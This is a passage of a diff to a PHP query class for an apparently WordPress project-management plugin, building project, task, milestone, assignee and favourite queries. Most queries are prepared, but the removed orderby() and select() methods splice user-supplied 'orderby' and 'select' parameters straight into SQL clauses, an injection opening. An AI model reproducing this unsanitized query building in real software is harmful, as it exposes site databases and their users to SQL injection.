($project_format) - GROUP BY pcm.project_id"; - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $project_id = $result->project_id; - unset( $result->project_id ); - $metas[$project_id] = $result->comment_count; - } - - foreach ( $this->projects as $key => $project ) { - $project->meta['data']['total_comments'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; - } - - return $this; - } - - /** - * Project Milestone Count - * - * @return class - */ - private function project_milestones_count() { - - if ( empty( $this->project_ids ) ) { - return $this; - } - - global $wpdb; - - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_boards = pm_tb_prefix() . 'pm_boards'; - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - $query = "SELECT DISTINCT COUNT(pb.id) as milestones_count , project_id - FROM $tb_boards as pb - WHERE pb.project_id IN ($project_format) - AND pb.type=%s - GROUP BY pb.project_id"; - - array_push( $query_data, 'milestone' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $project_id = $result->project_id; - unset( $result->project_id ); - $metas[$project_id] = $result->milestones_count; - } - - foreach ( $this->projects as $key => $project ) { - $project->meta['data']['total_milestones'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; - } - - return $this; - } - - /** - * Project Total Files Count - * - * @return class object - */ - private function project_files_count() { - - if ( empty( $this->project_ids ) ) { - return $this; - } - - global $wpdb; - - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_files = pm_tb_prefix() . 'pm_files'; - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - $query = "SELECT DISTINCT COUNT(pf.id) as file_count , project_id - FROM $tb_files as pf - WHERE pf.project_id IN ($project_format) - GROUP BY pf.project_id"; - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $project_id = $result->project_id; - unset( $result->project_id ); - $metas[$project_id] = $result->file_count; - } - - foreach ( $this->projects as $key => $project ) { - $project->meta['data']['total_files'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; - } - - return $this; - } - - /** - * Project Total Activities Count - * - * @return class object - */ - private function project_activities_count() { - - if ( empty( $this->project_ids ) ) { - return $this; - } - - global $wpdb; - - $metas = []; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_activites = pm_tb_prefix() . 'pm_activities'; - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - $query = "SELECT DISTINCT COUNT(pma.id) as activity_count , project_id - FROM $tb_activites as pma - WHERE pma.project_id IN ($project_format) - GROUP BY pma.project_id"; - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - - foreach ( $results as $key => $result ) { - $project_id = $result->project_id; - unset( $result->project_id ); - $metas[$project_id] = $result->activity_count; - } - - foreach ( $this->projects as $key => $project ) { - $project->meta['data']['total_activities'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; - } - - return $this; - } - - /** - * Choose table select item - * - * @param string $tb - * @param string $key - * - * @return string - */ - private function get_selectable_items( $tb, $key ) { - $select = ''; - $select_items = $this->query_params[$key]; - - if ( empty( $select_items ) ) { - $select = $tb . '.*'; - } - - $select_items = str_replace( ' ', '', $select_items ); - $select_items = explode( ',', $select_items ); - - foreach ( $select_items as $key => $item ) { - $select .= $tb . '.' . $item . ','; - } - - return substr( $select, 0, -1 ); - } - - /** - * Set project categories - * - * @return class object - */ - private function include_categories() { - global $wpdb; - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', $with ); - } - - $category = []; - - if ( ! in_array( 'categories', $with ) || empty( $this->project_ids ) ) { - return $this; - } - - $tb_categories = pm_tb_prefix() . 'pm_categories'; - $tb_relation = pm_tb_prefix() . 'pm_category_project'; - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - $query = "SELECT cats.id as id, cats.title, cats.description, rel.project_id - FROM $tb_categories as cats - LEFT JOIN $tb_relation as rel ON rel.category_id = cats.id - where rel.project_id IN ($project_format) - AND cats.categorible_type=%s"; - - array_push( $query_data, 'project' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $project_id = $result->project_id; - unset( $result->project_id ); - $category[$project_id] = $result; - } - - foreach ( $this->projects as $key => $project ) { - $project->categories['data'] = empty( $category[$project->id] ) ? [] : [$category[$project->id]]; - } - - return $this; - } - - private function roles( $id ) { - $roles = [ - 1 => [ - 'id' => 1, - 'title' => 'Manager', - 'slug' => 'manager', - 'description' => 'Manager is a person who manages the project.' - ], - 2 => [ - 'id' => 2, - 'title' => 'Co Worker', - 'slug' => 'co_worker', - 'description' => 'Co-worker is person who works under a project.' - ], - 3 => [ - 'id' => 3, - 'title' => 'Client', - 'slug' => 'client', - 'description' => 'Client is a person who provid the project.' - ] - ]; - - return isset( $roles[$id] ) ? $roles[$id] : false; - } - - private function role_capabilities() { - global $wpdb; - - if ( empty( $this->project_ids ) ) { - return $this; - } - - $tb_role_project = pm_tb_prefix() . 'pm_role_project'; - $tb_role_project_capabilities = pm_tb_prefix() . 'pm_role_project_capabilities'; - - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - $query = "SELECT DISTINCT rp.project_id, rp.role_id, rpc.capability_id - FROM $tb_role_project_capabilities as rpc - LEFT JOIN $tb_role_project as rp ON rp.id = rpc.role_project_id - where rp.project_id IN ($project_format)"; - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - $caps = []; - - foreach ( $results as $key => $result ) { - - $caps[$result->project_id]['co_worker'] = []; - $caps[$result->project_id]['client'] = []; - $caps[$result->project_id]['manager'] = []; - } - - foreach ( $results as $key => $result ) { - if ( $result->role_id == 1 ) { - $role_slug = 'manager'; - } - - if ( $result->role_id == 2 ) { - $role_slug = 'co_worker'; - } - - if ( $result->role_id == 3 ) { - $role_slug = 'client'; - } - - $cap_slug = pm_default_cap( $result->capability_id ); - - $caps[$result->project_id][$role_slug][$cap_slug] = true; - } - - foreach ( $this->projects as $key => $project ) { - if ( empty( $caps[$project->id] ) ) { - $caps[$project->id]['manager'] = pm_default_manager_caps(); - $caps[$project->id]['co_worker'] = pm_default_co_caps(); - $caps[$project->id]['client'] = pm_default_client_caps(); - } - - $project->role_capabilities = empty( $caps[$project->id] ) ? [] : $caps[$project->id]; - } - - return $this; - } - - /** - * Set project ssignees - * - * @return class object - */ - private function include_assignees() { - global $wpdb; - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', $with ); - } - - $users = []; - - if ( ! in_array( 'assignees', $with ) || empty( $this->project_ids ) ) { - return $this; - } - - $tb_assignees = pm_tb_prefix() . 'pm_role_user'; - $tb_users = $wpdb->base_prefix . 'users'; - $tb_user_meta = $wpdb->base_prefix . 'usermeta'; - $project_format = pm_get_prepare_format( $this->project_ids ); - $query_data = $this->project_ids; - - if ( is_multisite() ) { - $meta_key = pm_user_meta_key(); - - $query = "SELECT DISTINCT usr.ID as id, usr.display_name, usr.user_email as email, asin.project_id, asin.role_id - FROM $tb_users as usr - LEFT JOIN $tb_assignees as asin ON usr.ID = asin.user_id - LEFT JOIN $tb_user_meta as umeta ON umeta.user_id = usr.ID - where asin.project_id IN ($project_format) - AND umeta.meta_key='$meta_key'"; - } else { - $query = "SELECT DISTINCT usr.ID as id, usr.display_name, usr.user_email as email, asin.project_id, asin.role_id - FROM $tb_users as usr - LEFT JOIN $tb_assignees as asin ON usr.ID = asin.user_id - where asin.project_id IN ($project_format)"; - } - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $project_id = $result->project_id; - unset( $result->project_id ); - - $result->avatar_url = get_avatar_url( $result->id ); - $result->roles = [ - 'data' => [$this->roles($result->role_id)] - ]; - - $users[$project_id][] = $result; - } - - foreach ( $this->projects as $key => $project ) { - $project->assignees['data'] = empty( $users[$project->id] ) ? [] : $users[$project->id]; - } - - return $this; - } - - private function select() { - global $wpdb; - - $select = ''; - - if ( empty( $this->query_params['select'] ) ) { - $this->select = $this->tb_project . ".*, {$wpdb->prefix}pm_meta.meta_value"; - - return $this; - } - - $select_items = $this->query_params['select']; - - if ( ! is_array( $select_items ) ) { - $select_items = str_replace( ' ', '', $select_items ); - $select_items = explode( ',', $select_items ); - } - - foreach ( $select_items as $key => $item ) { - $item = str_replace( ' ', '', $item ); - $select .= $this->tb_project . '.' . $item . ','; - } - - $this->select = "{$wpdb->prefix}pm_meta.meta_value, " . substr( $select, 0, -1 ); - - return $this; - } - - private function join() { - global $wpdb; - $current_user_id = get_current_user_id(); - - $this->join .= $wpdb->prepare(" - LEFT JOIN {$wpdb->prefix}pm_meta - ON {$wpdb->prefix}pm_meta.project_id={$wpdb->prefix}pm_projects.id - AND {$wpdb->prefix}pm_meta.meta_key=%s - AND {$wpdb->prefix}pm_meta.entity_id=%d", - - 'favourite_project', $current_user_id - ); - - $this->join .= " LEFT JOIN {$wpdb->prefix}pm_role_user ON {$wpdb->prefix}pm_role_user.project_id={$wpdb->prefix}pm_projects.id"; - - $this->join = apply_filters( 'pm_project_join_query', $this->join, $this->query_params ); - - return $this; - } - - /** - * Set project where condition - * - * @return class object - */ - private function where() { - - $this->where_id() - ->where_category() - ->where_users() - ->where_title() - ->where_status(); - - $this->where = apply_filters( 'pm_project_where_query', $this->where, $this->query_params ); - - return $this; - } - - /** - * Filter project by ID - * - * @return class object - */ - private function where_id() { - global $wpdb; - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - if ( empty( $id ) ) { - return $this; - } - - if ( is_array( $id ) ) { - $query_format = pm_get_prepare_format( $id ); - $this->where .= $wpdb->prepare( " AND {$this->tb_project}.id IN ($query_format)", $id ); - } - - if ( !is_array( $id ) ) { - $this->where .= $wpdb->prepare( " AND {$this->tb_project}.id IN (%d)", $id ); - - $explode = explode( ',', $id ); - - if ( count( $explode ) == 1 ) { - $this->is_single_query = true; - } - } - - return $this; - } - - /** - * Filter porject by status - * - * @return class object - */ - private function where_status() { - global $wpdb; - $status = isset( $this->query_params['status'] ) ? $this->query_params['status'] : false; - - if ( empty( $status ) ) { - return $this; - } - - if ( $status == 'favourite' ) { - $current_user_id = get_current_user_id(); - - $this->where .= $wpdb->prepare( " - AND {$wpdb->prefix}pm_meta.entity_id=%d - AND {$wpdb->prefix}pm_meta.meta_value IS NOT NULL - AND {$wpdb->prefix}pm_meta.meta_key=%s", - $current_user_id, 'favourite_project' - ); - - } else { - $attr = [ - 'incomplete' => 0, - 'complete' => 1, - 'pending' => 2, - 'archived' => 3 - ]; - - if ( gettype( $status ) == 'string' ) { - $status = $attr[$status]; - } - $this->where .= $wpdb->prepare( " AND {$this->tb_project}.status=%d", $status ); - } - - return $this; - } - - /** - * Filter project by title - * - * @return class object - */ - private function where_title() { - global $wpdb; - $title = isset( $this->query_params['title'] ) ? $this->query_params['title'] : false; - - if ( empty( $title ) ) { - return $this; - } - - $this->where .= $wpdb->prepare( " AND {$this->tb_project}.title LIKE %s", '%'.$title.'%' ); - - return $this; - } - - /** - * Filter project by users - * - * @return class object - */ - private function where_users() { - global $wpdb; - $inUsers = isset( $this->query_params['inUsers'] ) ? $this->query_params['inUsers'] : false; - - // if ( $inUsers === false ) { - // $inUsers = isset( $this->query_params['users'] ) ? $this->query_params['users'] : false; - // } - - if ( empty( $inUsers ) ) { - if ( pm_has_manage_capability( get_current_user_id() ) ) { - return $this; - } - - $inUsers = get_current_user_id(); - } - - $inUsers = pm_get_prepare_data( $inUsers ); - - if ( is_array( $inUsers ) ) { - $query_format = pm_get_prepare_format( $inUsers ); - - if ( ! empty( trim( $query_format ) ) ) { - $this->where .= $wpdb->prepare( " AND {$this->tb_project_user}.user_id IN ($query_format)", $inUsers ); - } - } else { - $this->where .= $wpdb->prepare( " AND {$this->tb_project_user}.user_id IN (%d)", $inUsers ); - } - - return $this; - } - - /** - * Filter project by category - * - * @return class object - */ - private function where_category() { - global $wpdb; - $category = isset( $this->query_params['category'] ) ? $this->query_params['category'] : false; - - if ( empty( $category ) ) { - return $this; - } - - $this->join .= " LEFT JOIN {$this->tb_category_project} ON {$this->tb_category_project}.project_id={$this->tb_project}.id"; - - if ( is_array( $category ) ) { - $query_format = pm_get_prepare_format( $category ); - $this->where .= $wpdb->prepare( " AND {$this->tb_category_project}.category_id IN ($query_format)", $category ); - } else { - $this->where .= $wpdb->prepare( " AND {$this->tb_category_project}.category_id IN (%d)", $category ); - } - - - return $this; - } - - /** - * Generate project query limit - * - * @return class object - */ - private function limit() { - global $wpdb; - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( $per_page === false || $per_page == '-1' ) { - return $this; - } - - $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); - - return $this; - } - - private function orderby() { - global $wpdb; - - $tb_pj = $wpdb->prefix . 'pm_projects'; - $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; - - if ( $odr_prms === false && !is_array( $odr_prms ) ) { - return $this; - } - - $orders = []; - - $odr_prms = str_replace( ' ', '', $odr_prms ); - $odr_prms = explode( ',', $odr_prms ); - - foreach ( $odr_prms as $key => $orderStr ) { - $orderStr = str_replace( ' ', '', $orderStr ); - $orderStr = explode( ':', $orderStr ); - $orderby = $orderStr[0]; - $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; - $orders[$orderby] = $order; - } - - $order = []; - - foreach ( $orders as $key => $value ) { - $order[] = $tb_pj .'.'. $key . ' ' . $value; - } - - $this->orderby = "ORDER BY {$wpdb->prefix}pm_meta.meta_value DESC, " . implode( ', ', $order); - - return $this; - } - - /** - * Get offset - * - * @return int - */ - private function get_offset() { - $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; - $page = empty( $page ) ? 1 : absint( $page ); - $limit = $this->get_per_page(); - $offset = ( $page - 1 ) * $limit; - - return $offset; - } - - /** - * Get the number for projects per page - * - * @return class instance - */ - private function get_per_page() { - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( ! empty( $per_page ) && intval( $per_page ) ) { - return (int) $per_page; - } - - $per_page = pm_get_setting( 'project_per_page' ); - - return empty( $per_page ) ? 10 : (int) $per_page; - - return 10; - } - - /** - * Execute the projects query - * - * @return class instance - */ - private function get() { - global $wpdb; - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_project}.* - FROM - {$this->tb_project} - {$this->join} - WHERE %d=%d - {$this->where} - {$this->orderby} - {$this->limit}"; - - $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1 ) ); - - $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); - - $this->projects = $results; - - if ( ! empty( $results ) && is_array( $results ) ) { - $this->project_ids = wp_list_pluck( $results, 'id' ); - } - - if ( ! empty( $results ) && !is_array( $results ) ) { - $this->project_ids = [$results->id]; - } - - return $this; - } - - /** - * Set table name as class object - */ - private function set_table_name() { - $this->tb_project = pm_tb_prefix() . 'pm_projects'; - $this->tb_list = pm_tb_prefix() . 'pm_boards'; - $this->tb_task = pm_tb_prefix() . 'pm_tasks'; - $this->tb_project_user = pm_tb_prefix() . 'pm_role_user'; - $this->tb_task_user = pm_tb_prefix() . 'pm_assignees'; - $this->tb_categories = pm_tb_prefix() . 'pm_categories'; - $this->tb_category_project = pm_tb_prefix() . 'pm_category_project'; - } -} +set_table_name(); + } + + /** + * AJAX Get projects + * + * @param array $request + * + * @return Object + */ + public static function get_projects( WP_REST_Request $request ) { + $self = self::getInstance(); + $projects = self::get_results( $request->get_params() ); + + wp_send_json( $projects ); + } + + /** + * Get projects + * + * @param array $params + * + * @return array + */ + public static function get_results( $params ) { + + $self = self::getInstance(); + $self->query_params = $params; + + $self->select() + ->join() + ->where() + ->limit() + ->orderby() + ->get() + ->with() + ->meta(); + + $response = $self->format_projects( $self->projects ); + + if( pm_is_single_query( $params ) ) { + $project = empty( $response['data'][0] ) ? [] : $response['data'][0]; + return ['data' => $project]; + } + + return $response; + } + + /** + * Format projects data + * + * @param array $projects + * + * @return array + */ + public function format_projects( $projects ) { + $response = [ + 'data' => [], + 'meta' => [] + ]; + + foreach ( $projects as $key => $project ) { + $projects[$key] = $this->fromat_project( $project ); + } + + $response['data'] = $projects; + $response ['meta'] = $this->set_projects_meta(); + + return $response; + + + + + // if ( ! is_array( $projects ) ) { + // $response['data'] = $this->fromat_project( $projects ); + + // return $response; + // } + + // foreach ( $projects as $key => $project ) { + // $projects[$key] = $this->fromat_project( $project ); + // } + + + // $response['data'] = $projects; + // $response['meta'] = $this->set_projects_meta(); + + // return $response; + } + + /** + * Set meta data + */ + private function set_projects_meta() { + + $t_incomplete = $this->count_project_by_type(0); + $t_complete = $this->count_project_by_type(1); + $t_pending = $this->count_project_by_type(2); + $t_archived = $this->count_project_by_type(3); + $pagination_total = $this->get_pagination_total( $t_incomplete, $t_complete, $t_pending, $t_archived ); + + return [ + 'total_projects' => $this->found_rows, + 'total_page' => ceil( $this->found_rows/$this->get_per_page() ), + 'total_incomplete' => $t_incomplete, + 'total_complete' => $t_complete, + 'total_pending' => $t_pending, + 'total_archived' => $t_archived, + 'total_favourite' => $this->favourite_project_count(), + 'pagination' => [ + "total" => $pagination_total, + "per_page" => $this->get_per_page(), + "total_pages" => ceil( $this->found_rows/$this->get_per_page() ), + ] + ]; + } + + private function get_pagination_total( $incomplete, $complete, $pending, $archived ) { + $status = isset( $this->query_params['status'] ) ? $this->query_params['status'] : false; + + if ( ! $status ) { + return (int) $incomplete + (int) $complete + (int) $pending + (int) $archived; + } + + if ( $status == 'incomplete' ) { + return (int) $incomplete; + } + + if ( $status == 'complete' ) { + return (int) $complete; + } + + if ( $status == 'pending' ) { + return (int) $pending; + } + + if ( $status == 'archived' ) { + return (int) $archived; + } + + return 0; + } + + private function count_project_by_type( $type) { + global $wpdb; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + + $query = "SELECT DISTINCT COUNT(id) FROM $tb_projects + WHERE status =%s"; + + $incomplete_project_count = $wpdb->get_var( $wpdb->prepare( $query, $type ) ); + + return $incomplete_project_count; + } + + private function favourite_project_count() { + global $wpdb; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_meta = pm_tb_prefix() . 'pm_meta'; + $current_user_id = get_current_user_id(); + + $query = "SELECT COUNT($tb_projects.id) as favourite_project + FROM $tb_projects + LEFT JOIN $tb_meta ON $tb_meta.project_id = $tb_projects.id + WHERE $tb_meta.meta_key = %s + AND $tb_meta.entity_id = %d + AND $tb_meta.meta_value is not null"; + + $favourite_project_count = $wpdb->get_var( $wpdb->prepare( $query, 'favourite_project', $current_user_id ) ); + + return $favourite_project_count; + + } + + /** + * Format project data + * + * @param Object $project + * + * @return array + */ + public function fromat_project( $project ) { + $listmeta = pm_get_meta( $project->id, $project->id, 'task_list', 'list-inbox'); + + if( $listmeta ) { + $listmeta = $listmeta->meta_value; + } else { + $listmeta = 0; + } + + $items = [ + 'id' => (int) $project->id, + 'project_id' => (int) $project->id, //need for calendar task create form + 'title' => isset( $project->title ) ? (string) $project->title : '', + 'description' => isset( $project->description ) ? [ 'html' => pm_get_content( $project->description ), 'content' => $project->description ] : '', + 'status' => isset( $project->status ) ? $project->status : null, + 'budget' => isset( $project->budget ) ? $project->budget : null, + 'pay_rate' => isset( $project->pay_rate ) ? $project->pay_rate : null, + 'est_completion_date' => isset( $project->est_completion_date ) ? format_date( $project->est_completion_date ) : null, + 'order' => isset( $project->order ) ? $project->order : null, + 'projectable_type' => isset( $project->projectable_type ) ? $project->projectable_type : null, + 'favourite' => isset( $project->favourite ) ? $project->favourite : false, + 'created_at' => isset( $project->created_at ) ? format_date( $project->created_at ) : null, + 'updated_at' => isset( $project->updated_at ) ? format_date( $project->updated_at ) : null, + 'created_by' => isset( $project->created_by ) ? (int) $project->created_by : false, + 'list_inbox' => $listmeta, + ]; + + + $items = $this->item_with( $items, $project ); + //$items = $this->item_meta( $items, $project ); + + return apply_filters( 'pm_project_transform', $items, $project ); + + + // $select_items = empty( $this->query_params['select'] ) ? null : $this->query_params['select']; + + // if ( ! is_array( $select_items ) && !is_null( $select_items ) ) { + // $select_items = str_replace( ' ', '', $select_items ); + // $select_items = explode( ',', $select_items ); + // } + + // if ( empty( $select_items ) ) { + // $this->item_with($items,$project); + // $items = $this->item_meta( $items,$project ); + + // return $items; + // } + + // foreach ( $items as $item_key => $item ) { + // if ( ! in_array( $item_key, $select_items ) ) { + // unset( $items[$item_key] ); + // } + // } + + // $this->item_with( $items,$project ); + // $items = $this->item_meta( $items,$project ); + + // return $items; + + } + + + private function item_with( &$items, $project ) { + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + $with = array_merge( $this->with, $with ); + + $project_with_items = array_intersect_key( (array) $project, array_flip( $with ) ); + + $items = array_merge( $items, $project_with_items ); + + return $items; + } + + // private function item_meta( $items, $project ) { + // $meta = empty( $this->query_params['project_meta'] ) ? false : $this->query_params['project_meta']; + + // if ( ! $meta ) { + // return $items; + // } + + // $items['meta'] = empty( $project->meta ) ? ['data' => []] : ['data' => $project->meta]; + + // return $items; + // } + + + /** + * Join others table information + * + * @return Object + */ + private function with() { + $this->include_assignees() + ->include_categories() + ->role_capabilities(); + + $this->projects = apply_filters( 'pm_project_with',$this->projects, $this->project_ids, $this->query_params ); + + return $this; + } + + private function meta() { + // $meta = empty( $this->query_params['project_meta'] ) ? false : $this->query_params['project_meta']; + + // if ( ! $meta ) { + // return $this; + // } + + // if ( $meta && !is_array( $meta ) && $meta != 'all' ) { + // $meta = explode( ',', $meta ); + // } + + // if ( $meta == 'all' ) { + $this->project_task_list_count(); + $this->project_task_count(); + $this->project_task_complete(); + $this->project_incomplete_tasks(); + $this->project_discussion_board_count(); + $this->project_milestones_count(); + $this->project_comments_count(); + $this->project_files_count(); + $this->project_activities_count(); + $this->get_meta_tb_data(); + $this->set_project_favourite_status(); + + return $this; + //} + + // if ( in_array( 'total_task_lists', $meta ) ) { + // $this->project_task_list_count(); + // } + + // if ( in_array( 'total_tasks', $meta ) ) { + // $this->project_task_count(); + // } + + // if ( in_array( 'total_complete_tasks', $meta ) ) { + // $this->project_task_complete(); + // } + + // if ( in_array( 'total_incomplete_tasks', $meta ) ) { + // $this->project_incomplete_tasks(); + // } + + // if ( in_array( 'total_discussion_boards', $meta ) ) { + // $this->project_discussion_board_count(); + // } + + // if ( in_array( 'total_milestones', $meta ) ) { + // $this->project_milestones_count(); + // } + + // if ( in_array( 'total_comments', $meta ) ) { + // $this->project_comments_count(); + // } + + // if ( in_array('total_files', $meta ) ) { + // $this->project_files_count(); + // } + + // if ( in_array('total_activities', $meta) ) { + // $this->project_activities_count(); + // } + + //if ( in_array('favourite', $meta) ) { + //$this->get_meta_tb_data(); + //} + + //return $this; + } + + private function set_project_favourite_status() { + + if ( empty( $this->project_ids ) ) { + return $this; + } + + global $wpdb; + + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_meta = pm_tb_prefix() . 'pm_meta'; + $current_user_id = get_current_user_id(); + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = $this->project_ids; + + $query = "SELECT DISTINCT $tb_meta.meta_key, $tb_meta.meta_value, $tb_meta.project_id + FROM $tb_meta + WHERE $tb_meta.project_id IN ($project_format) + AND $tb_meta.entity_type = %s + AND $tb_meta.meta_key = %s + AND $tb_meta.entity_id = %d"; + + array_push( $query_data, 'project', 'favourite_project', $current_user_id ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $project_id = $result->project_id; + unset( $result->project_id ); + $metas[$project_id] = $result; + } + + foreach ( $this->projects as $key => $project ) { + if ( ! isset( $metas[$project->id] ) ) { + $project->favourite = false; + continue; + } + $project_meta = $metas[$project->id]; + $project->favourite = empty( $project_meta->meta_value ) ? false : true; + } + + return $this; + } + + private function get_meta_tb_data() { + + if ( empty( $this->project_ids ) ) { + return $this; + } + + global $wpdb; + + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_meta = pm_tb_prefix() . 'pm_meta'; + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = $this->project_ids; + + $query = "SELECT DISTINCT $tb_meta.meta_key, $tb_meta.meta_value, $tb_meta.project_id, $tb_meta.entity_id + FROM $tb_meta + WHERE $tb_meta.project_id IN ($project_format) + AND $tb_meta.entity_type = %s"; + + array_push( $query_data, 'project' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $project_id = $result->project_id; + unset( $result->project_id ); + $metas[$project_id][] = $result; + } + + foreach ( $this->projects as $key => $project ) { + $filter_metas = empty( $metas[$project->id] ) ? [] : $metas[$project->id]; + foreach ( $filter_metas as $key => $filter_meta ) { + $project->meta[$filter_meta->meta_key] = $filter_meta->meta_value; + } + } + + return $this; + } + + private function project_incomplete_tasks() { + + if ( empty( $this->project_ids ) ) { + return $this; + } + + global $wpdb; + + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_task = pm_tb_prefix() . 'pm_tasks'; + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = $this->project_ids; + + $query = "SELECT DISTINCT COUNT($tb_task.id) as task_count, $tb_task.project_id + FROM $tb_task + WHERE $tb_task.project_id IN ($project_format) + AND $tb_task.status = %d + GROUP by $tb_task.project_id"; + + array_push( $query_data, 0 ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $project_id = $result->project_id; + unset( $result->project_id ); + $metas[$project_id] = $result->task_count; + } + + foreach ( $this->projects as $key => $project ) { + $project->meta['data']['total_incomplete_tasks'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; + } + + return $this; + } + + private function project_task_complete() { + + if ( empty( $this->project_ids ) ) { + return $this; + } + + global $wpdb; + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_task = pm_tb_prefix() . 'pm_tasks'; + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = $this->project_ids; + + $query = "SELECT DISTINCT COUNT($tb_task.id) as task_count, $tb_task.project_id + FROM $tb_task + WHERE $tb_task.project_id IN ($project_format) + AND $tb_task.status = %d + GROUP by $tb_task.project_id"; + + array_push( $query_data, 1 ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $project_id = $result->project_id; + unset( $result->project_id ); + $metas[$project_id] = $result->task_count; + } + + foreach ( $this->projects as $key => $project ) { + $project->meta['data']['total_complete_tasks'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; + } + + return $this; + } + + public function get_prepare_format( $ids, $is_string = false ) { + + if ( ! is_array( $ids ) ) { + if ( strpos( $ids, ',' ) !== false ) { + $ids = str_replace( ' ', '', $ids ); + $ids = explode( ',', $ids ); + } + } + + // how many entries will we select? + $how_many = count( $ids ); + + // prepare the right amount of placeholders + // if you're looing for strings, use '%s' instead + if( $is_string ) { + $placeholders = array_fill( 0, $how_many, '%s' ); + } else { + $placeholders = array_fill( 0, $how_many, '%d' ); + } + + // glue together all the placeholders... + // $format = '%d, %d, %d, %d, %d, [...]' + $format = implode( ', ', $placeholders ); + + return $format; + } + + private function project_task_count() { + + if ( empty( $this->project_ids ) ) { + return $this; + } + + global $wpdb; + + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_task = pm_tb_prefix() . 'pm_tasks'; + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = $this->project_ids; + + $query = "SELECT DISTINCT COUNT(pt.id) as task_count, pt.project_id + FROM $tb_task as pt + WHERE pt.project_id IN ($project_format) + GROUP by pt.project_id"; + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $project_id = $result->project_id; + unset( $result->project_id ); + $metas[$project_id] = $result->task_count; + } + + foreach ( $this->projects as $key => $project ) { + $project->meta['data']['total_tasks'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; + } + + return $this; + } + + private function project_task_list_count() { + + if ( empty( $this->project_ids ) ) { + return $this; + } + + global $wpdb; + + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_boards = pm_tb_prefix() . 'pm_boards'; + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = $this->project_ids; + + $query = "SELECT DISTINCT COUNT(pb.id) as task_list_count , project_id + FROM $tb_boards as pb + WHERE pb.project_id IN ($project_format) + AND pb.type=%s + GROUP BY pb.project_id"; + + array_push( $query_data, 'task_list' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $project_id = $result->project_id; + unset( $result->project_id ); + $metas[$project_id] = $result->task_list_count; + } + + foreach ( $this->projects as $key => $project ) { + $project->meta['data']['total_task_lists'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; + } + + return $this; + } + + private function project_discussion_board_count() { + + if ( empty( $this->project_ids ) ) { + return $this; + } + + global $wpdb; + + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_boards = pm_tb_prefix() . 'pm_boards'; + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = 